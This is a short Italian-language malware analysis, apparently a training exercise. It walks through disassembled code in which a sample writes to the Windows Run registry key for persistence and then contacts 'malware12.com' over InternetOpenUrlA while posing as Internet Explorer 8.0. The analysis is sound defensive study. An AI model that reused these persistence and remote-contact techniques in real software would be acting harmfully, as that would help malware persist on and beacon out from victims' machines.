```
)040286F   push    2               ; samDesired
)0402871   push    eax             ; ulOptions
)0402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
```

```
)04028A8   push    ecx             ; lpValueName
)04028A9   push    edx             ; hKey
)04028AA   call    ds:RegSetValueExW
```

In questa parte di codice il malware va a creare la persistenza andando a modificare le chiavi di registro

```
.text:0040115A                  push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                  call    ds:InternetOpenA
.text:00401165                  mov     edi, ds:InternetOpenUrlA
.text:0040116B                  mov     esi, eax
```

Si connette adoperando Internet Explorer v.8

```
.text:00401178                  push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                  push    esi             ; hInternet
.text:0040117E                  call    edi ; InternetOpenUrlA
```

Per poi connettersi all'url "malware12.com" con la chiamata call edi; InternetOpenUrlA